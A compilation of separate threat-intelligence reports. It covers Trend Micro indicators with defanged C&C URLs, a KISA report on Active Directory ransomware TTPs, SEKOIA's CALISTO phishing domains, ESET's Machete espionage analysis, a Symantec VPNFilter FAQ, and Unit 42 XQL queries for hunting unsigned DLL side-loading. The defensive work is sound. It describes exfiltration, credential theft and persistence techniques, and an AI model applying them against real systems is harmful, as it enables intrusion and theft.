Hash: 06cb3f69ba0dd3a2a7fa21cdc1d8b36b36c2a32187013598d3d51cfddc829f49
App Label: ALTOR
Hash: 0cab88bb37fee06cf354d257ec5f27b0714e914b8199c03ae87987f6fa807efc
App Label: يسيسلا عم نونماضتم
Hash: 7eeadfe1aa5f6bb827f9cb921c63571e263e5c6b20b2e27ccc64a04eba51ca7a
App Label: C.Sinai
Hash: 0714b516ac824a324726550b45684ca1f4396aa7f372db6cc51b06c97ea24dfd
App Label: C.Sinai
Hash: ad5babecf3a21dd51eee455031ab96f326a9dd43a456ce6e8b351d7c4347330f
App Label: Tsina
```
## C&C Server
```
hxxp://86[.]105[.]18[.]107/2dodo/loriots[.]php
hxxp://86[.]105[.]18[.]107/111fash7/synectics[.]php
hxxp://86[.]105[.]18[.]107/3hood/spelled[.]php
hxxp://86[.]105[.]18[.]107/1swiftclinic/entires[.]php
hxxp://86[.]105[.]18[.]107/7ram/olefiant[.]php
hxxp://86[.]105[.]18[.]107/sinai/freakiest[.]php
```
Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers, and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.
©2017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. |
# Tactics, Techniques, Procedures (TTPs#5): Attack Patterns in AD Environment
## 1. Introduction
The rise in hacking incidents has led to ever-more stringent security requirements and the continuous evolution of security systems. Yet, cyber incidents reported in the past are still being repeated today, and organizations with sophisticated cyber-defense systems are still falling victim to such attacks.
The influential concept of “The Pyramid of Pain” in cybersecurity illustrates that the most effective security systems depend on understanding the ‘tactics, techniques, and procedures’ (TTP) of the attackers. The ultimate goal of cybersecurity is to make attacks more costly and painful for perpetrators, elevated to the ‘tough’ level shown at the top of the pyramid.
A cybersecurity system based on ‘indicators of compromise’ (IoC) remains efficient. However, attackers can easily secure and discard attack infrastructures using simple indicators. TTPs are different; attackers cannot easily obtain or discard them. An attacker who has locked onto a target needs to invest in learning and practicing TTPs to neutralize the target's security system. When moving on to the next attack, the attacker will tend to select targets where the same TTPs can be applied.
The attacker's TTPs are heavily influenced by the characteristics of the targeted defense environment. Security practitioners must have an accurate understanding of their own defense environment and approach the process and flow of attack from strategic and tactical levels rather than as patterns or methods. In short, the defender’s security environment and the attacker’s TTPs must be scrutinized together.
A defender who understands the attacker’s TTPs should be able to answer two questions: 1) ‘Would the attacker's TTPs be able to penetrate the defender's environment?’ and 2) ‘If so, what defensive strategy can defeat the TTPs?’
The Korea Internet & Security Agency (KISA) identifies cyberattack TTPs through its incident response process and disseminates the process and countermeasures using the ATT&CK framework. The various artifacts related to TTPs included in this report are merely tools to promote understanding.
## 2. Overview
In the first half of 2019, there were many ransomware infections targeting companies using Active Directory (AD). Security and convenience form two sides of the same coin. AD is efficient for managing a large number of systems, but careless account management may lead to administrator rights being stolen, resulting in the entire internal network being compromised.
KISA has responded by compiling attacker techniques, malicious code similarities, etc., found during security incident investigations and distributed security warnings to companies using AD. For some time, the activities of attackers in Korea decreased, but starting near the end of 2020, ransomware infections for AD environments began to occur again.
Corporations, upon hearing the news of many ransomware incidents, realized the importance of backup and began regularly backing up important data. When corporations successfully backed up their data and did not react to the demands of the attackers, the attackers began leaking internal information and requesting payment for the leaked data.
The infiltration techniques of attacks differ slightly based on the AD environment composition, but analysis of AD ransomware infections beginning in 2019 shows that most used the same TTPs. This TTP#5 report has detailed the process closely from the initial infiltration of the AD environment to the achievement of the final goal. Through this, the aim is to aid corporations seeking to inspect internal security systems and build defensive strategies.
## 3. ATT&CK Matrix
### Reconnaissance
- Gather Victim Identity Information
- Resource Development
- Obtain Capabilities
- Initial Access
- Phishing
- Execution
### Persistence
- Create Account
- Create or Modify System Process
- Boot or Logon Autostart Execution
- Boot or Logon Initialization Scripts
### Privilege Escalation
- Valid Accounts
- Abuse Elevation Control Mechanism
- Account Token Manipulation
### Credential Access
- OS Credential Dumping
- Create Account
### Defense Evasion
- Masquerading
- Subvert Trust Controls
- Indicator Removal on Host
### Discovery
- Software Discovery
- Process Discovery
- Account Discovery
- File and Directory Discovery
- Network Share Discovery
### Lateral Movement
- Remote Services
- Lateral Tool Transfer
### Collection
- Data from Local System
- Archive Collected Data
### Exfiltration
- Exfiltration Over C2 Channel
### Impact
- Service Stop
- Data Encrypted for Impact
## 4. Conclusion
KISA has examined the types of ransomware infection attacks that occurred in AD environments. Attackers used spear-phishing infiltration, DC server domination after account theft, and SMB internal transfer to infect using ransomware. Such incidents cause major damage, including payments demanded by the attacker, damage to the corporation’s image, and system recovery costs. An AD environment being infected leads to the entire system being dominated and additional damage, including leaking of important corporate information.
Hacking attempts against corporations will continue, and corporations using AD will continue to be targeted. Each corporation has a unique composition, privilege management, and security policies, and while infiltration methods and detailed attack methods could change, privilege elevation, account theft, and SMB internal transfer are commonalities found in most AD incidents.
As such, corporations using an AD environment must prioritize account management and monitoring. An attacker that succeeds in initial infiltration will move with administrator account theft in mind, searching the internal network; stealing normal user accounts will not aid in dominating the internal network. Even if accounts are stolen, user and service account privileges must be kept separate to prevent the AD domain controller server from being dominated. The use of administrator group accounts should be minimized, and systems forced to use an administrator account should be regularly monitored. In particular, great attention must be paid to registered services and group policy lists to check for suspicious activity. Major system logs should be regularly backed up, and if account theft tools are detected or pipe communication is found, the copy system must be immediately inspected.
KISA has published a detailed tech report on AD environment incidents in early 2019. This report dealt with a single incident and focused on attack techniques, procedures, and malicious code analysis, while this report covers various incidents that occurred between 2019 and 2021, listing the attack methods of attackers according to an ATT&CK matrix. Even if the attack group types change in the future, the attack methods used against AD environments will not vary greatly.
Understanding and ascertaining all the TTP strategies in the previous tech report and the current one will greatly help in application to internal corporate environments, prediction of security threats, and reorganization of security. |
# CALISTO Continues Its Credential Harvesting Campaign
This blog post on the CALISTO threat actor is an extract of a FLINT report (SEKOIA.IO Flash Intelligence) sent to our clients on June 16, 2022.
On March 30, 2022, Google TAG published several IOCs related to CALISTO – a Russia-nexus threat actor also known as COLDRIVER which targeted several Western NGOs, think tanks, and the defense sector in the past. According to Google TAG, the operators used freshly created Gmail accounts to carry out a spear-phishing campaign.
Based on TAG’s findings, CALISTO used, at least on one occasion, decoy documents hosted on Google Docs as well as Microsoft OneDrive, to entice the victim to click on a link leading to the phishing domain, purporting to display the document’s content. The tactic consists of using a legitimate service as a proxy for credential phishing, aiming to bypass controls from the victim’s mail gateways as the email itself does not contain a malicious link any longer.
Additionally, TAG uncovered that on April 21, 2022, a new website named “Very English Coop d’Etat” surfaced. This website allegedly aims at revealing a plot related to Brexit. However, as mentioned by security researcher Costin Raiu on Twitter, at least one leaked document seems to be a fake from the attackers. Based on the leveraged design, method, and screenshots, this activity reminds the “Hack and Leak” campaigns operated between 2015 and 2019 and associated with Russia-nexus intrusion sets SOFACY and HADES.
Even if the new website reminds the old ones from SOFACY, Google TAG declared in an interview to Reuters that they’ve been able to “technically link this website to CALISTO operations,” without mentioning the technical details leading to this attribution. As of today, while weak links can be established between past GRU associated cyber operations TTPs and this documented activity, SEKOIA.IO refrains from associating CALISTO’s operations to Russian Intelligence and Security Services.
## Infrastructure Analysis of CALISTO
Following these two publications, SEKOIA investigated the CALISTO phishing domains in order to protect our customers. CALISTO uses Evilginx on its VPS to capture the victim’s credentials. This well-known open-source tool creates an SSL reverse proxy between the victim and a legitimate website to capture web credentials, 2FA tokens, etc.
It’s worth mentioning that CALISTO operators just followed the GitHub README of the EvilGinx project, creating default redirection for some of their VPS to the YouTube Rick’roll video. Additional servers redirect to the New York Times homepage; these two OPSEC fails allow us to find more servers easily.
By digging deeper, a phishing domain (file-milgov[.]systems) targeting the Ukrainian MOD drew our attention. Unlike the previous CALISTO domains, this one uses a webpage written in PHP to capture credentials. It is worth mentioning that this domain has also been caught by Trellix in their article “Growling Bears Make Thunderous Noise” without attribution. While it doesn’t match our Evilginx heuristic, it was operated in the same network range as several CALISTO domains during the same time frame. Therefore, it is likely possible that this domain is associated with a spear-phishing operation from CALISTO, the link being determined with a low degree of confidence.
As of today, SEKOIA.IO has been able to link 24 unique domains operating Evilginx related to CALISTO operations with medium to high confidence.
## IOCs of CALISTO
**Domain names**
Please blacklist these domains and the associated FQDNs:
- documents-cloud[.]com
- cache-docs[.]com
- protect-link[.]online
- docs-shared[.]com
- documents-cloud[.]online
- drive-share[.]live
- hypertextteches[.]com
- proton-docs[.]com
- docs-drive[.]online
- cloud-docs[.]com
- drive-docs[.]com
- file-milgov[.]systems
- cache-dns[.]com
- office-protection[.]online
- proton-view[.]online
- pdf-shared[.]online
- proton-viewer[.]com
- protectionmail[.]online
- pdf-docs[.]online
- documents-pdf[.]online
- docs-cache[.]com
- pdf-cloud[.]online
- docs-info[.]com
- protection-office[.]live |
# Sharpening the Machete
ESET research uncovers a cyberespionage operation targeting Venezuelan government institutions.
Latin America is often overlooked when it comes to persistent threats and groups with politically motivated targets. There is, however, an ongoing case of cyberespionage against high-profile organizations that has managed to stay under the radar. The group behind these attacks has stolen gigabytes of confidential documents, mostly from Venezuelan government organizations. It is still very active at the time of this publication, regularly introducing changes to its malware, infrastructure, and spearphishing campaigns.
ESET has been tracking a new version of Machete (the group’s Python-based toolset) that was first seen in April 2018. While the main functionality of the backdoor remains the same as in previous versions, it has been extended with new features over the course of a year.
## Targets
From the end of March up until the end of May 2019, ESET researchers observed that there were more than 50 victimized computers actively communicating with the C&C server. This amounts to gigabytes of data being uploaded every week. More than 75% of the compromised computers were part of Venezuelan government organizations, including the military forces, education, police, and foreign affairs sectors. This extends to other countries in Latin America, with the Ecuadorean military being another organization highly targeted with the Machete malware.
## Malware operators
Machete’s operators use effective spearphishing techniques. Their long run of attacks, focused on Latin American countries, has allowed them to collect intelligence and refine their tactics over the years. They know their targets, how to blend into regular communications, and which documents are of the most value to steal. Not only does Machete exfiltrate common office suite documents, but also specialized file types used by geographic information systems (GIS) software. The group is interested in files that describe navigation routes and positioning using military grids.
The Machete group sends very specific emails directly to its victims, and these change from target to target. These emails contain either a link to, or an attachment of, a compressed self-extracting archive that runs the malware and opens a document that serves as a decoy. ESET has seen more cases where stolen documents dated on one particular day were bundled with malware and used on the same day as lures to compromise new victims.
The kind of documents used as decoys are sent and received legitimately several times a day by the group’s targets. For example, Radiogramas are documents used for communication in the Venezuelan military forces. Attackers take advantage of that, along with their knowledge of military jargon and etiquette, to craft very convincing phishing emails.
## Main characteristics
The Machete group is very active and has introduced several changes to its malware since a new version was released in April 2018. Previous versions were described by Kaspersky in 2014 and Cylance in 2017. The first part of the attack consists of a downloader that comes as a self-extracting archive, made with 7z SFX Builder. Once the archive is unpacked by the self-extraction code, the extractor opens a PDF or Microsoft Office file that serves as a decoy, and then runs the downloader executable from the archive. That executable is another self-extracting file that contains the actual downloader binary (a py2exe component) and a configuration file with the downloader’s target URL as an encrypted string.
All download URLs we have seen are at either Dropbox or Google Docs. The files at these URLs have all been self-extracting (RAR SFX) archives containing encrypted configuration and py2exe backdoor components. Since May 2019, however, the Machete operators stopped using downloaders and started to include the decoy file and backdoor components in the same archive.
The py2exe binaries can be decompiled to obtain Python code. All of the components – downloaders and backdoors – are obfuscated with pyobfuscate. This has been used in previous versions of the malware as well. Since August 2018, the Machete components have been delivered with an extra layer of obfuscation. The scripts now contain a block of zlib-compressed, base64-encoded text which, after being decoded, produces a script. This first layer of obfuscation is produced using pyminifier with the -gzip parameter.
## Backdoor components
Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe, and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64-encoded text that corresponds to AES-encrypted strings. GoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence. The Chrome.exe component is responsible for collection of data from the victimized computer. It can:
- Take screenshots
- Log keystrokes
- Access the clipboard
- AES-encrypt and exfiltrate documents
- Detect newly inserted drives and copy files
- Execute other binaries downloaded from the C&C server
- Retrieve specific files from the system
- Retrieve user profile data from several browsers
- Collect geolocation of victims and information about nearby Wi-Fi networks
- Perform physical exfiltration to removable drives
The Machete operators are interested in obtaining specific file types from their targets. Apart from Microsoft Office documents, drives are searched for:
- Backup files
- Database files
- Cryptographic keys (PGP)
- OpenOffice documents
- Vector images
- Files for geographic information systems (topographic maps, navigation routes, etc.)
Regarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. The advantage of using Mozilla Location Service is that it permits geolocation without an actual GPS and can be more accurate than other methods. The GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username, and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.
In conclusion, the Machete group is operating more strongly than ever, even after researchers have published technical descriptions and indicators of compromise for this malware. ESET has been tracking this threat for months and has observed several changes, sometimes within weeks. Various artifacts that we have seen in Machete’s code and the underlying infrastructure lead us to think that this is a Spanish-speaking group.
A full and comprehensive list of Indicators of Compromise (IoCs) can be found in the full white paper and on GitHub. ESET detects this threat as a variant of Python/Machete. For a detailed analysis of the backdoor, refer to our white paper "Machete just got sharper: Venezuelan government institutions under attack."
## MITRE ATT&CK techniques
| Tactic | ID | Name | Description |
|---------------|--------|-----------------------------|-----------------------------------------------------------------------------|
| Initial | T1192 | Spearphishing Link | Emails contain a link to download a compressed file from an external server.|
| | T1193 | Spearphishing Attachment | Emails contain a zipped file with malicious contents. |
| Execution | T1204 | User Execution | Tries to get users to open links or attachments that will execute the first component of Machete. |
| Persistence | T1158 | Hidden Files and Directories | Malware files and folders are hidden for persistence. |
| | T1053 | Scheduled Task | Other components of Machete are executed by Windows Task Scheduler. |
| Defense Evasion| T1027 | Obfuscated Files or Information | Python scripts are obfuscated. |
| | T1045 | Software Packing | Machete payload is delivered as self-extracting files. Machete downloaders are UPX packed. |
| | T1036 | Masquerading | File and task names try to impersonate Google Chrome executables. |
| Credential Access | T1145 | Private Keys | A compromised system is scanned looking for key and certificate file extensions. |
| | T1081 | Credentials in Files | Machete exfiltrates files with stored credentials for Chrome and Firefox. |
| Discovery | T1049 | System Network Connections | Netsh command is used to list all nearby Wi-Fi networks. |
| | T1120 | Peripheral Device Discovery | Newly inserted devices are detected by listening for the WM_DEVICECHANGE window message. |
| | T1083 | File and Directory Discovery | File listings are produced for files to be exfiltrated. |
| | T1057 | Process Discovery | In the latest version, running processes are enumerated searching for browsers. |
| | T1217 | Browser Bookmark Discovery | Browser data such as bookmarks is gathered for Chrome and Firefox. |
| | T1010 | Application Window Discovery | Window names are reported along with keylogger information. |
| Collection | T1115 | Clipboard Data | Clipboard data is stolen by creating an overlapped window that will listen to keyboard events. |
| | T1005 | Data from Local System | File system is searched for files of interest. |
| | T1025 | Data from Removable Media | Files are copied from newly inserted drives. |
| | T1056 | Input Capture | Machete logs keystrokes from the victim’s machine. |
| | T1113 | Screen Capture | Python Imaging Library is used to capture screenshots. |
| | T1074 | Data Staged | Files and logs are stored in the Winde folder, encrypted. |
| Command and Control | T1043 | Commonly Used Port | Standard FTP port is used for communications. |
| | T1008 | Fallback Channels | Machete uses HTTP to exfiltrate documents if FTP is unavailable. |
| | T1105 | Remote File Copy | Machete can download additional files for execution on the victim’s machine. |
| | T1071 | Standard Application Layer Protocol | FTP is used for Command & Control. |
| Exfiltration | T1020 | Automated Exfiltration | All collected files are exfiltrated automatically via FTP to remote servers. |
| | T1002 | Data Compressed | Machete compresses browser’s profile data as .zip files prior to exfiltrating it. |
| | T1022 | Data Encrypted | Collected data is encrypted with AES before transmitting it. |
| | T1041 | Exfiltration Over Command and Control Channel | Data is exfiltrated over the same channel used for C&C. |
| | T1052 | Exfiltration Over Physical Medium | Data from all drives in a compromised system is copied to a removable drive if there is a special file in that drive. |
| | T1029 | Scheduled Transfer | Data is sent to the C&C server every 10 minutes. | |
# VPNFilter: New Router Malware with Destructive Capabilities
**UPDATE: September 26, 2018:** This blog has been updated to include new information that was released by Cisco Talos on seven new Stage 3 modules.
**UPDATE: June 6, 2018:** This blog has been updated to include new information that was released by Cisco Talos. This includes an expanded list of vulnerable devices and details on a newly discovered stage 3 module known as “ssler” which could permit the attackers to perform man-in-the-middle (MitM) attacks on traffic going through vulnerable routers and allow them to intercept web traffic and insert malicious code into it.
A new threat which targets a range of routers and network-attached storage (NAS) devices is capable of knocking out infected devices by rendering them unusable. The malware, known as VPNFilter, is unlike most other IoT threats because it is capable of maintaining a persistent presence on an infected device, even after a reboot. VPNFilter has a range of capabilities including spying on traffic being routed through the device. Its creators appear to have a particular interest in SCADA industrial control systems, creating a module which specifically intercepts Modbus SCADA communications.
According to new research from Cisco Talos, activity surrounding the malware has stepped up in recent weeks and the attackers appear to be particularly interested in targets in Ukraine. While VPNFilter has spread widely, data from Symantec's honeypots and sensors indicate that unlike other IoT threats such as Mirai, it does not appear to be scanning and indiscriminately attempting to infect every vulnerable device globally.
## Q: What devices are known to be affected by VPNFilter?
**A:** To date, VPNFilter is known to be capable of infecting enterprise and small office/home office routers from Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, TP-Link, Ubiquiti, Upvel, and ZTE, as well as QNAP network-attached storage (NAS) devices. These include:
- Asus RT-AC66U
- Asus RT-N10
- Asus RT-N10E
- Asus RT-N10U
- Asus RT-N56U
- Asus RT-N66U
- D-Link DES-1210-08P
- D-Link DIR-300
- D-Link DIR-300A
- D-Link DSR-250N
- D-Link DSR-500N
- D-Link DSR-1000
- D-Link DSR-1000N
- Huawei HG8245
- Linksys E1200
- Linksys E2500
- Linksys E3000
- Linksys E3200
- Linksys E4200
- Linksys RV082
- Linksys WRVS4400N
- MikroTik CCR1009
- MikroTik CCR1016
- MikroTik CCR1036
- MikroTik CCR1072
- MikroTik CRS109
- MikroTik CRS112
- MikroTik CRS125
- MikroTik RB411
- MikroTik RB450
- MikroTik RB750
- MikroTik RB911
- MikroTik RB921
- MikroTik RB941
- MikroTik RB951
- MikroTik RB952
- MikroTik RB960
- MikroTik RB962
- MikroTik RB1100
- MikroTik RB1200
- MikroTik RB2011
- MikroTik RB3011
- MikroTik RB Groove
- MikroTik RB Omnitik
- MikroTik STX5
- Netgear DG834
- Netgear DGN1000
- Netgear DGN2200
- Netgear DGN3500
- Netgear FVS318N
- Netgear MBRN3000
- Netgear R6400
- Netgear R7000
- Netgear R8000
- Netgear WNR1000
- Netgear WNR2000
- Netgear WNR2200
- Netgear WNR4000
- Netgear WNDR3700
- Netgear WNDR4000
- Netgear WNDR4300
- Netgear WNDR4300-TN
- Netgear UTM50
- QNAP TS251
- QNAP TS439 Pro
- Other QNAP NAS devices running QTS software
- TP-Link R600VPN
- TP-Link TL-WR741ND
- TP-Link TL-WR841N
- Ubiquiti NSM2
- Ubiquiti PBE M5
- Upvel Devices - unknown models
- ZTE Devices ZXHN H108N
## Q: How does VPNFilter infect affected devices?
**A:** Most of the devices targeted are known to use default credentials and/or have known exploits, particularly for older versions. There is no indication at present that the exploit of zero-day vulnerabilities is involved in spreading the threat.
## Q: What does VPNFilter do to an infected device?
**A:** VPNFilter is a multi-staged piece of malware. Stage 1 is installed first and is used to maintain a persistent presence on the infected device and will contact a command and control (C&C) server to download further modules. Stage 2 contains the main payload and is capable of file collection, command execution, data exfiltration, and device management. It also has a destructive capability and can effectively “brick” the device if it receives a command from the attackers. It does this by overwriting a section of the device’s firmware and rebooting, rendering it unusable.
There are several known Stage 3 modules, which act as plugins for Stage 2. These include a packet sniffer for spying on traffic that is routed through the device, including theft of website credentials and monitoring of Modbus SCADA protocols. Another Stage 3 module allows Stage 2 to communicate using Tor.
A newly discovered (disclosed on June 6) Stage 3 module known as “ssler” is capable of intercepting all traffic going through the device via port 80, meaning the attackers can snoop on web traffic and also tamper with it to perform man-in-the-middle (MitM) attacks. Among its features is the capability to change HTTPS requests to ordinary HTTP requests, meaning data that is meant to be encrypted is sent insecurely. This can be used to harvest credentials and other sensitive information from the victim’s network. The discovery of this module is significant since it provides the attackers with a means of moving beyond the router and on to the victim’s network.
A fourth Stage 3 module known as “dstr” (disclosed on June 6) adds a kill command to any Stage 2 module which lacks this feature. If executed, dstr will remove all traces of VPNFilter before bricking the device.
Details on seven more Stage 3 modules were released on September 26, 2018. These include:
- “htpx”: Similar to ssler, it redirects and inspects all HTTP traffic transmitted through the infected device to identify and log any Windows executables. This may be used to Trojanize executables as they pass through infected routers, providing attackers with a way of installing malware on computers connected to the same network.
- “ndbr”: A multi-function SSH tool.
- “nm”: A network mapping tool which can be used to scan and map the local subnet.
- “netfilter”: A denial of service utility which may be used to block access to some encrypted applications.
- “portforwarding”: Module which forwards network traffic to attacker-specified infrastructure.
- “socks5proxy”: Module to enable establishment of a SOCKS5 proxy on compromised devices.
- “tcpvpn”: Allows establishment of a Reverse-TCP VPN on compromised devices, enabling remote attacker to access internal networks behind infected devices.
## Q: What should I do if I’m concerned my router is infected?
**A:** Concerned users are advised to use Symantec's free online tool to help check if their router is impacted by VPNFilter. This also includes instructions on what to do if the router is infected.
## Q: What do the attackers intend to do with VPNFilter’s destructive capability?
**A:** This is currently unknown. One possibility is using it for disruptive purposes, by bricking a large number of infected devices. Another possibility is more selective use to cover up evidence of attacks.
## Q: Do Symantec/Norton products (Win/Mac/NMS) protect against this threat?
**A:** Symantec and Norton products detect the threat as Linux.VPNFilter.
**Acknowledgement:** Symantec wishes to thank Cisco Talos and the Cyber Threat Alliance for sharing information on this threat in advance of publication.
**UPDATE:** Netgear is advising customers that, in addition to applying the latest firmware updates and changing default passwords, users should ensure that remote management is turned off on their router. Remote management is turned off by default and can only be turned on using the router's advanced settings. To turn it off, they should go to www.routerlogin.net in their browser and log in using their admin credentials. From there, they should click "Advanced" followed by "Remote Management". If the check box for "Turn Remote Management On" is selected, clear it and click "Apply" to save changes.
**UPDATE May 24, 2018:** The FBI has announced that it has taken immediate action to disrupt the VPNFilter, securing a court order, authorizing it to seize a domain that is part of the malware's C&C infrastructure. Meanwhile, Linksys is advising customers to change administration passwords periodically and ensure software is regularly updated. If they believe they have been infected, a factory reset of their router is recommended.
**UPDATE May 25, 2018:** QNAP has published a security advisory on VPNFilter. It contains guidance on how to use the company’s malware removal tool to remove any infections.
## About the Author
**Symantec Security Response**
Security Response Team
Symantec's Security Response organization develops and deploys new security content to Symantec customers. Our team of global threat analysts operate 24x7 to track developments on the threat landscape and protect Symantec customers. |
# Hunting for Unsigned DLLs to Find APTs
**By Daniela Shalev and Itay Gamliel**
**September 26, 2022**
**Category:** Malware
**Tags:** APTs, Cortex, Cortex XDR, DLL Sideloading, Investigation and Response, Lazarus Group, Malware Prevention, Mustang Panda, PKPLUG, Selective Pisces, Stately Taurus, threat intelligence
## Executive Summary
Malware authors regularly evolve their techniques to evade detection and execute more sophisticated attacks. We’ve commonly observed one method over the past few years: unsigned DLL loading. Assuming that this method might be used by advanced persistent threats (APTs), we hunted for it. The hunt revealed sophisticated payloads and APT groups in the wild, including the Chinese cyberespionage group Stately Taurus (formerly known as PKPLUG, aka Mustang Panda) and the North Korean Selective Pisces (aka Lazarus Group). Below, we show how hunting for the loading of unsigned DLLs can help you identify attacks and threat actors in your environment. Palo Alto Networks customers receive protections and detections against malicious DLL loading through the Cortex XDR agent.
## Threat Actor Groups Discussed
| Unit 42 tracks group | Group also known as… |
|----------------------|----------------------|
| Stately Taurus | Mustang Panda, PKPLUG, BRONZE PRESIDENT, HoneyMyte, Red Lich, Baijiu |
| Selective Pisces | Lazarus Group, ZINC, APT - C - 26 |
## Malicious DLLs: A Common Method Attackers Use for Executing Malicious Payloads on Infected Systems
Based on our observations over years of proactive threat-hunting experience, we hypothesize that one of the main methods for executing malicious payloads on infected systems is loading a malicious DLL. As both individual hackers and APT groups use this method, we decided to conduct research based on this hypothesis. Most of the malicious DLLs we observe in the wild share three common characteristics:
- The DLLs are mostly written to unprivileged paths.
- The DLLs are unsigned.
- To evade detection, the DLLs are loaded by a signed process, whether a utility dedicated to loading DLLs (such as rundll32.exe) or an executable that loads DLLs as part of its activity.
With that in mind, we found that the most common techniques that are being used by threat actors in the wild are the following:
1. **DLL loading by rundll32.exe/regsvr32.exe** – While those processes are signed and known binaries, threat actors abuse them to achieve code execution in an attempt to evade detection.
2. **DLL order hijacking** – This refers to loading a malicious DLL by abusing the search order of a legitimate process. This way, a benign application will load a malicious payload with the name of a known DLL.
Reviewing the results of the above techniques in the wild revealed that the most common unprivileged paths to load malicious unsigned DLLs are the folders and sub-folders of ProgramData, AppData, and the users’ home directories.
## Attack Trends in the Wild Related to Unsigned DLLs
To start hunting based on the hypothesis we described, we created two XQL queries. The first one looks for unsigned DLLs that were loaded by rundll32.exe/regsvr32.exe, while the other looks for signed software that loads an unsigned DLL. The hunting activity revealed various malware families that used unsigned DLL loading.
Analyzing the execution techniques used by the above threats showed that banking trojans and individual threat actors typically used rundll32.exe or regsvr32.exe to load a malicious DLL, while APT groups used the DLL side-loading technique most of the time.
## Diving Into Selected Payloads
### Stately Taurus
We decided to highlight an investigation around Stately Taurus activity that we detected in the environment of one organization. Stately Taurus is a Chinese APT group that usually targets non-governmental organizations and is known for abusing legitimate software to load payloads. In this case, we observed the usage of the DLL search order hijacking technique that enabled the attacker’s malicious DLL to load into the memory space of a legitimate process. The threat actor used multiple pieces of third-party software for the DLL side-loading, such as antivirus software and a PDF reader.
To achieve DLL side-loading, the group dropped the payload into the ProgramData folder, which contained three files – a benign EXE file for DLL hijacking (AvastSvc.exe), a DLL file (wsc.dll), and an encrypted payload (AvastAuth.dat). The loaded DLL appeared to be the PlugX RAT, which loads the encrypted payload from the .dat file.
### Selective Pisces
Among the results of our hunting queries, we also identified several high-entropy malicious modules within the ProgramData directories. Investigating the execution chain of the unsigned modules revealed that they were dropped to the disk by the signed DreamSecurity MagicLine4NX process (MagicLine4NX.exe). MagicLine4NX.exe executed a second-stage payload that we observed utilizing DLL side-loading in order to evade detection. The second-stage payload wrote a new DLL named mi.dll and copied wsmprovhost.exe (host process for WinRM) to a random directory in ProgramData. The attackers abused this mechanism in order to achieve DLL side-loading with this process. The mi.dll payload was observed dropping a new payload named ualapi.dll to the System32 directory (C:\Windows\System32\ualapi.dll). As ualapi.dll is in this case a missing DLL on the System32 directory, the attackers used this fact to achieve persistence by giving their malicious payload the name ualapi.dll. That way, spoolsv.exe will load it upon startup.
After analyzing the payloads above, we attributed them to the North Korean APT group that Unit 42 tracks as Selective Pisces. This group’s utilization of legitimate third-party software such as MagicLine4NX was described earlier this year in a blog post by Symantec.
### Raspberry Robin
The last attack we would like to elaborate on is the most common one we observed in the wild. Some of the results that our query yields share several common characteristics:
- DLLs with scrambled names reside in random sub-folders of the ProgramData or AppData folders.
- Those DLLs have a similar range of entropy (~0.66).
- All of them were loaded by rundll32.exe or regsvr32.exe.
The DLL loading activities that take place in those attacks were attributed to a campaign called Raspberry Robin, which was recently described by Red Canary. Those attacks begin from a shortcut file on an infected USB device. This spawns msiexec.exe to retrieve the malicious DLL from a remote C2 server. Over installation, a scheduled task is created in order to achieve persistence, loading the DLL using rundll32.exe/regsvr32.exe on system startup.
## Using Unsigned DLLs to Hunt for Attacks in Your Environment
You can hunt for the loading of unsigned DLLs using XQL Search in Cortex XDR. To narrow down the results, we suggest focusing on the following:
- For DLL side-loading, we recommend paying attention to known third-party software placed in non-standard directories.
- Focus on the file’s entropy – binaries that have a high value of entropy may contain a packed section that will be extracted during execution.
- Focus on the frequency of execution – high-frequency results may indicate a legitimate activity that occurs periodically, while low-frequency results may be a lead for an investigation.
- Focus on the file’s path – results that contain folders or files with scrambled names are more suspicious than others.
## Hunting Queries
1. **Rundll32.exe / Regsvr32.exe loads an unsigned module from uncommon folders over the past 30 days.**
```
config case_sensitive = false timeframe = 30d
| dataset = xdr_data
| filter event_type = ENUM.LOAD_IMAGE and (action_module_path contains "C:\ProgramData" or action_module_path contains "\public" or action_module_path contains "\documents" or action_module_path contains "\pictures" or action_module_path contains "\videos" or action_module_path contains "appdata") and action_module_signature_status = 3 and (actor_process_image_name contains "rundll32.exe" or actor_process_image_name contains "regsvr32.exe") and (actor_process_command_line contains "programdata" or actor_process_command_line contains "\public" or actor_process_command_line contains "\documents" or actor_process_command_line contains "\pictures" or actor_process_command_line contains "\videos" or actor_process_command_line contains "appdata")
| alter module_entropy = json_extract_scalar(action_module_file_info, "$.entropy")
| fields agent_hostname, action_module_sha256, action_module_path, actor_process_image_name, actor_process_command_line, module_entropy
| comp count(action_module_path) as counter by action_module_path, action_module_sha256, module_entropy
```
2. **Possible DLL side-loading - a signed process loaded an unsigned DLL from AppData\ProgramData\Public folder over the past 30 days.**
```
config case_sensitive = false timeframe = 30d
| dataset = xdr_data
| filter event_type = ENUM.LOAD_IMAGE and (action_module_path contains "C:\ProgramData" or action_module_path contains "\public" or action_module_path contains "appdata") and action_module_signature_status = 3 and (actor_process_image_name not contains "rundll32.exe" or actor_process_image_name not contains "regsvr32.exe") and actor_process_signature_status = 1 and (actor_process_image_path contains "appdata" or actor_process_image_path contains "programdata" or actor_process_image_path contains "public")
| alter module_entropy = json_extract_scalar(action_module_file_info, "$.entropy")
| fields agent_hostname, action_module_sha256, action_module_path, actor_process_image_name, actor_process_command_line, module_entropy, actor_process_image_path
| comp count(action_module_path) as counter by action_module_path, action_module_sha256, module_entropy, actor_process_image_path
```
## Conclusion
